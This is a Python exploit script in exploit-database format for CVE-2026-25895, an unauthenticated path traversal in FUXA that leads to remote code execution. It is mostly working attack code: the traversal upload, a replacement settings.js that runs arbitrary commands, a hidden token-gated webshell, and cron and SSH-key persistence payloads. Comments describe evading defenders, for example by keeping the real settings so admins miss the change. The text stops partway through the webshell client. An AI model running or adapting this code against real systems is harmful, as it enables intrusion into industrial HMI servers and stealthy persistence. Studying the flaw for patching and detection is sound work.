1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| # Exploit Title: CVE-2026-25895 - FUXA Unauthenticated Path Traversal -> Arbitrary File Write -> RCE
# Date: 4/24/2026
# Exploit Author: Anthony Cihan (Hann1bl3L3ct3r)
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: <= 1.2.9
# Tested on: Ubuntu Server
# CVE : CVE-2026-25895
"""
CVE-2026-25895 - FUXA Unauthenticated Path Traversal -> Arbitrary File Write -> RCE
Affected: FUXA <= 1.2.9
Patched: 1.2.10
Vulnerable endpoint: POST /api/upload (server/api/projects/index.js, ~line 193)
Root cause:
* The /api/upload route is registered with NO middleware:
prjApp.post('/api/upload', function (req, res) { ... })
so it bypasses both `secureFnc` (JWT/API-key) and the admin permission
gate that wraps every other endpoint in projects/index.js.
* Inside the handler, the JSON-body field `destination` is concatenated
into a path with only a leading underscore and no normalization /
containment check:
let destinationDir = path.resolve(runtime.settings.appDir,
`_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
A relative payload of the form `a/../../../../<target>` makes
Node's path.resolve() climb out of `appDir` to anywhere the FUXA
process can write.
* `fullPath`/`fileName` strip `..` sequences, so we control the directory
via `destination` and the filename via `file.name`.
Exploitation: pre-auth RCE even when `secureEnabled = true`.
Authorization: this script is for credentialed penetration tests against
systems you are explicitly authorized to assess. Use only inside a defined
engagement scope.
"""
from __future__ import annotations
import argparse
import base64
import json
import posixpath
import secrets
import sys
from typing import Dict, List, Optional, Tuple
from urllib.parse import urljoin, urlparse, quote
try:
import requests
except ImportError:
sys.stderr.write("[-] Missing dependency: pip install requests\n")
sys.exit(2)
BANNER = r"""
______ _ ___ __ _______ ___ _
| ____| | | \ \ / / /\ | __ \ \ / / \ | |
| |__ | | | |\ V / / \ | |__) \ \ /\ / /| \| |
| __| | | | | > < / /\ \ | ___/ \ \/ \/ / | . ` |
| | | |__| |/ . \ / ____ \| | \ /\ / | |\ |
|_| \____//_/ \_\/_/ \_\_| \/ \/ |_| \_|
CVE-2026-25895 :: FUXA <=1.2.9 Unauth Path Traversal -> RCE
"""
# --- Server response helpers ---------------------------------------------------
def _extract_errno(response_text: str) -> Optional[str]:
"""Parse the server's error JSON body (e.g. {"error":"EACCES","message":
"EACCES: permission denied, open '/root/x'"}) and return the errno code.
Returns None if the body is not JSON or has no 'error' key.
"""
if not response_text:
return None
try:
data = json.loads(response_text)
except (ValueError, TypeError):
return None
if isinstance(data, dict):
err = data.get("error")
if isinstance(err, str):
return err
return None
def _extract_syscall(response_text: str) -> Optional[str]:
"""Parse the server's error JSON body and return the Node.js syscall that
failed (e.g. 'open', 'mkdir', 'write'). The upload handler forwards
`err.message`, which for POSIX fs errors is formatted by libuv as:
"<CODE>: <reason>, <syscall> '<path>'"
So we pull the token between the comma and the quoted path.
The syscall lets us distinguish ambiguous errno values. In particular, on
EACCES the upload handler conditionally calls fs.mkdirSync(parent,
{recursive: true}) before writing — so a non-existent /home/<user>/ gets
mkdir-EACCES (can't create under root-owned /home/), while an existing
/home/<other>/ (mode 0700) gets open-EACCES on the write itself. Same
errno, different meaning.
"""
if not response_text:
return None
try:
data = json.loads(response_text)
except (ValueError, TypeError):
return None
if not isinstance(data, dict):
return None
msg = data.get("message")
if not isinstance(msg, str):
return None
# Format: "EACCES: permission denied, mkdir '/home/tony'"
# ^^^^^
try:
tail = msg.split(",", 1)[1].strip() # "mkdir '/home/tony'"
syscall = tail.split(" ", 1)[0].strip()
if syscall and syscall.isalpha():
return syscall.lower()
except (IndexError, AttributeError):
pass
return None
# --- Low-level upload primitive ------------------------------------------------
class FuxaUploadExploit:
"""Wraps the vulnerable POST /api/upload endpoint."""
def __init__(self, base_url: str, timeout: int = 15, verify_tls: bool = True,
proxy: Optional[str] = None, verbose: bool = True):
self.base_url = base_url.rstrip("/")
self.timeout = timeout
self.verify_tls = verify_tls
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (FUXA-CVE-2026-25895-PoC)",
"Content-Type": "application/json",
})
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
# ---- helpers --------------------------------------------------------------
def _log(self, msg: str) -> None:
if self.verbose:
print(msg, flush=True)
def fingerprint(self) -> Tuple[bool, str]:
"""GET /api/version returns FUXA's own version string ('1.0.0' for the
api wrapper) — used as a pre-flight reachability check.
"""
url = urljoin(self.base_url + "/", "api/version")
try:
r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls)
except requests.RequestException as e:
return False, f"connection error: {e}"
if r.status_code != 200:
return False, f"unexpected status {r.status_code}"
return True, r.text.strip()
def fetch_settings(self) -> Tuple[bool, str, Optional[Dict]]:
"""GET /api/settings returns the full `runtime.settings` object
(minus smtp password / secretCode) with NO auth middleware in FUXA
<=1.2.9. Primary pre-auth information leak used by --mode recon.
"""
url = urljoin(self.base_url + "/", "api/settings")
try:
r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls)
except requests.RequestException as e:
return False, f"connection error: {e}", None
if r.status_code != 200:
return False, f"unexpected status {r.status_code}", None
try:
return True, "ok", r.json()
except ValueError:
return False, f"non-JSON response (first 200B): {r.text[:200]!r}", None
# ---- core exploit ---------------------------------------------------------
def upload(self, destination: str, filename: str, content: bytes,
file_type: str = "bin") -> requests.Response:
"""Send the crafted upload that triggers the path-traversal write.
Server-side decoding rules (from server/api/projects/index.js):
* if file.type === 'svg' -> raw write of file.data (no decoding)
* otherwise -> file.data is treated as base64 and
written via fs.writeFileSync(..., 'base64')
We use base64 by default so we can deliver arbitrary binary content.
"""
if file_type == "svg":
# Raw text passthrough; keep file.type = 'svg' so the server
# writes it without base64 decoding.
data_field = content.decode("utf-8", errors="replace")
else:
data_field = base64.b64encode(content).decode("ascii")
body = {
"resource": {
"name": filename,
"fullPath": filename, # written into the destination dir verbatim
"type": file_type,
"data": data_field,
},
"destination": destination,
}
url = urljoin(self.base_url + "/", "api/upload")
return self.session.post(url, data=json.dumps(body),
timeout=self.timeout, verify=self.verify_tls)
def write_arbitrary(self, target_abs_path: str, content: bytes,
appdir_depth: int = 10, file_type: str = "bin") -> dict:
"""High-level: write `content` to any absolute path the FUXA process
can reach.
We assume FUXA's `runtime.settings.appDir` is the `server/` directory
of the install. To climb out of it we prepend a dummy segment + N
`..` jumps. `appdir_depth` is intentionally generous; extra `..`
components past the filesystem root are no-ops on POSIX.
"""
# Use posixpath unconditionally — the target is a Linux server, so we
# cannot let the host's os.path module rewrite separators on Windows.
target_abs_path = posixpath.normpath(target_abs_path.replace("\\", "/"))
if not target_abs_path.startswith("/"):
raise ValueError("target_abs_path must be absolute (POSIX)")
target_dir, target_name = posixpath.split(target_abs_path)
# destination becomes: a/..//..//..//..//..//..//..//.. + target_dir
# path.resolve(appDir, '_a/..//..//.../target_dir') -> target_dir
# The leading 'a' is a throw-away segment that absorbs the '_' prefix.
traversal = "a" + ("/.." * appdir_depth)
destination = traversal + target_dir # target_dir starts with '/'
resp = self.upload(destination=destination, filename=target_name,
content=content, file_type=file_type)
ok = resp.status_code == 200
return {
"status_code": resp.status_code,
"response_text": resp.text[:400],
"errno": _extract_errno(resp.text),
"syscall": _extract_syscall(resp.text),
"target": target_abs_path,
"wrote_bytes": len(content),
"success": ok,
}
# --- High-level payloads -------------------------------------------------------
def payload_proof(host: str) -> bytes:
"""Default canary payload. Deliberately bland — no CVE ID, no vendor
name, no tool signature — so that the file sitting on the target's
filesystem is not a glaring IOC for log-scraping defenders or DFIR.
Operators who want an explicit PoC demo payload should use
--canary-content to supply their own file.
"""
_ = host # retained for API compatibility; intentionally unused
return b"healthcheck ok\n"
def payload_settings_js_rce(callback_cmd: str,
real_settings: Optional[Dict] = None) -> bytes:
"""A drop-in replacement for FUXA's _appdata/settings.js.
The file is loaded via require() in main.js at every startup, so any JS
placed at module top-level executes inside the FUXA Node process the
next time FUXA initializes. Passing `real_settings` (the dict returned
by GET /api/settings) preserves the target's actual configuration —
uiPort, allowedOrigins, secureEnabled, custom paths — so admins don't
notice config drift after restart.
"""
# NB: the callback_cmd is interpolated as a JS string. Escape backslashes
# and single-quotes so it survives JS parsing. Single-quoted JS string.
safe = callback_cmd.replace("\\", "\\\\").replace("'", "\\'")
return (
"// CVE-2026-25895 PoC — replacement settings.js (command payload)\n"
"try {\n"
" require('child_process').exec('" + safe + "',\n"
" { detached: true, stdio: 'ignore' });\n"
"} catch (e) { /* swallow so FUXA still boots */ }\n"
"\n"
+ _settings_module_exports(real_settings)
).encode("utf-8")
def payload_authorized_keys(pubkey: str) -> bytes:
return (pubkey.rstrip("\n") + "\n").encode("utf-8")
# --- Webshell payload ----------------------------------------------------------
#
# The canonical Node-on-target webshell: a replacement settings.js module
# that, at module-load time, spawns an HTTP listener inside the FUXA process.
# The listener exposes a single authenticated endpoint that runs commands via
# child_process.exec and returns stdout/stderr in the HTTP response body.
#
# Design notes:
# * Bind on 0.0.0.0:<ws_port> (configurable). Different port from FUXA's
# main 1881 so we don't collide with the app's own Express server.
# * Auth: required token via `X-Auth-Token` header OR `?t=<token>` query.
# Wrong / missing token -> 404 (indistinguishable from a non-existent
# endpoint) to make the listener invisible to dumb scanners.
# * Path: configurable random secret path (default: 24 random hex chars).
# Requests to any other path also get 404.
# * Error isolation: server.on('error', ...) swallows EADDRINUSE and
# friends so a restart cycle that can't rebind the port does NOT take
# FUXA down. Try/catch wraps the whole initialization for the same
# reason — the settings.js load path MUST NOT throw, or FUXA will
# fail to boot.
# * The module still exports the full settings object verbatim so FUXA
# boots cleanly and operators see a healthy service.
def payload_webshell_js(ws_port: int, ws_path: str, ws_token: str,
real_settings: Optional[Dict] = None) -> bytes:
"""Replacement settings.js that, on FUXA startup, binds an authenticated
HTTP command-execution endpoint inside the Node process.
Passing `real_settings` (from GET /api/settings) preserves the target's
actual configuration in the module.exports block so the service looks
unchanged to admins after restart.
"""
# All three operator inputs are interpolated into a JS string literal.
# Escape backslashes + single quotes so nothing breaks out.
def esc(s: str) -> str:
return s.replace("\\", "\\\\").replace("'", "\\'")
path_js = esc(ws_path if ws_path.startswith("/") else "/" + ws_path)
token_js = esc(ws_token)
return (
"// CVE-2026-25895 PoC — replacement settings.js (HTTP webshell)\n"
"try {\n"
" const http = require('http');\n"
" const { exec } = require('child_process');\n"
" const urlMod = require('url');\n"
" const WS_PORT = " + str(int(ws_port)) + ";\n"
" const WS_PATH = '" + path_js + "';\n"
" const WS_TOKEN = '" + token_js + "';\n"
" const server = http.createServer((req, res) => {\n"
" try {\n"
" const parsed = urlMod.parse(req.url || '', true);\n"
" const hdrTok = req.headers['x-auth-token'];\n"
" const qTok = parsed.query && parsed.query.t;\n"
" const tok = (typeof hdrTok === 'string') ? hdrTok : qTok;\n"
" if (parsed.pathname !== WS_PATH || tok !== WS_TOKEN) {\n"
" res.writeHead(404, {'Content-Type': 'text/plain'});\n"
" res.end('Not Found');\n"
" return;\n"
" }\n"
" const handle = (cmd) => {\n"
" if (!cmd) {\n"
" res.writeHead(400, {'Content-Type': 'text/plain'});\n"
" res.end('missing cmd');\n"
" return;\n"
" }\n"
" exec(cmd, { timeout: 60000, maxBuffer: 16*1024*1024, shell: '/bin/sh' },\n"
" (err, stdout, stderr) => {\n"
" let out = '';\n"
" if (stdout) out += stdout.toString();\n"
" if (stderr) out += stderr.toString();\n"
" if (err && typeof err.code !== 'undefined' && err.code !== 0) {\n"
" out += '\\n[exit ' + err.code + ']';\n"
" }\n"
" res.writeHead(200, {'Content-Type': 'text/plain; charset=utf-8'});\n"
" res.end(out);\n"
" });\n"
" };\n"
" if (req.method === 'POST') {\n"
" let body = '';\n"
" req.on('data', (c) => { body += c; if (body.length > 65536) req.destroy(); });\n"
" req.on('end', () => {\n"
" let cmd = parsed.query.cmd;\n"
" if (!cmd && body) {\n"
" try {\n"
" const j = JSON.parse(body);\n"
" cmd = j.cmd;\n"
" } catch (e) { cmd = body; }\n"
" }\n"
" handle(cmd);\n"
" });\n"
" req.on('error', () => { try { res.end(); } catch (e) {} });\n"
" } else {\n"
" handle(parsed.query.cmd);\n"
" }\n"
" } catch (e) {\n"
" try { res.writeHead(500); res.end('err'); } catch (ee) {}\n"
" }\n"
" });\n"
" server.on('error', () => { /* swallow bind errors */ });\n"
" server.listen(WS_PORT, '0.0.0.0');\n"
"} catch (e) { /* swallow so FUXA still boots */ }\n"
"\n"
+ _settings_module_exports(real_settings)
).encode("utf-8")
def _settings_module_exports(real_settings: Optional[Dict] = None) -> str:
"""Return JS source for `module.exports = {...}`.
When `real_settings` is provided (fetched from GET /api/settings), emit
it as a JSON literal — JSON is a valid JavaScript expression when used
as an object literal, and this preserves the target's real uiPort,
allowedOrigins, secureEnabled, custom paths, etc. so admins don't spot
config drift after restart.
Caveats (see server/api/index.js:103-110):
* `/api/settings` DELETES `secretCode` from its response, and
`smtp.password` if smtp is set. Our replacement settings.js will not
contain them. jwt-helper.js:6 falls back to 'frangoteam751' when
secretCode is missing, which invalidates any existing JWTs issued
under a previously-customized secretCode. The default install has
secretCode commented out (settings.default.js:94), so most targets
are unaffected — but when `secureEnabled: true`, warn the operator.
* process.env.PORT resolution is lost (we only see the runtime value).
In practice FUXA installs rarely rely on PORT env dynamism.
When `real_settings` is None, fall back to a minimal config that matches
settings.default.js so FUXA still boots. Use this only when the recon
fetch failed — prefer the real-settings path.
"""
if real_settings is not None:
body = json.dumps(real_settings, indent=4, ensure_ascii=False,
sort_keys=False, default=str)
return "module.exports = " + body + ";\n"
# Fallback — minimal config derived from FUXA 1.2.9 settings.default.js.
return (
"module.exports = {\n"
" version: 1.4,\n"
" language: 'en',\n"
" uiPort: process.env.PORT || 1881,\n"
" logDir: '_logs',\n"
" logApiLevel: 'tiny',\n"
" dbDir: '_db',\n"
" daqEnabled: true,\n"
" daqTokenizer: 24,\n"
" logs: { retention: 'none' },\n"
" broadcastAll: false,\n"
" allowedOrigins: ['http://localhost', 'http://127.0.0.1',\n"
" 'http://192.168.*', 'http://10.*',\n"
" 'http://localhost:4200'],\n"
" heartbeatIntervalSec: 10,\n"
" webcamSnapShotsDir: '_webcam_snapshots',\n"
" webcamSnapShotsCleanup: false,\n"
" webcamSnapShotsRetain: 7,\n"
" swaggerEnabled: false,\n"
" nodeRedEnabled: false,\n"
"};\n"
)
# --- Cron payload --------------------------------------------------------------
#
# The write primitive can drop directly into cron-reread paths. When FUXA
# runs as root (common in container deployments, and in any install where
# the service was started by an admin who didn't bother with a dedicated
# user), /etc/cron.d/<name> is re-read every minute by the cron daemon —
# that's RCE with a <=60s delay and no FUXA restart.
#
# When FUXA runs as a non-root user, /var/spool/cron/crontabs/<user>
# (Debian/Vixie layout) or /var/spool/cron/<user> (RHEL/cronie) is the
# equivalent, but those user-crontab paths require mode 0600 and the
# correct owning uid; fs.writeFileSync will produce mode 0644 owned by
# the FUXA uid, which matches the owner but not the mode — Vixie rejects,
# cronie accepts. Test per engagement.
_CRON_HEADER = (
"# FUXA health monitor\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n"
)
def payload_cron_job(schedule: str, user: Optional[str], cmd: str) -> bytes:
"""Build a cron file body.
If `user` is given (required for /etc/cron.d/* and /etc/crontab), the
user field is included. For /var/spool/cron/crontabs/<user> style files,
pass user=None so only `schedule cmd` is written.
"""
if user:
line = f"{schedule} {user} {cmd}\n"
else:
line = f"{schedule} {cmd}\n"
return (_CRON_HEADER + line).encode("utf-8")
# --- Webshell client -----------------------------------------------------------
#
# Convenience: after writing the webshell payload, the operator can exec
# commands through it directly from this script instead of reaching for curl.
class FuxaWebshellClient:
"""Thin HTTP client for the webshell listener embedded in settings.js."""
def __init__(self, host: str, port: int, ws_path: str, ws_token: str,
|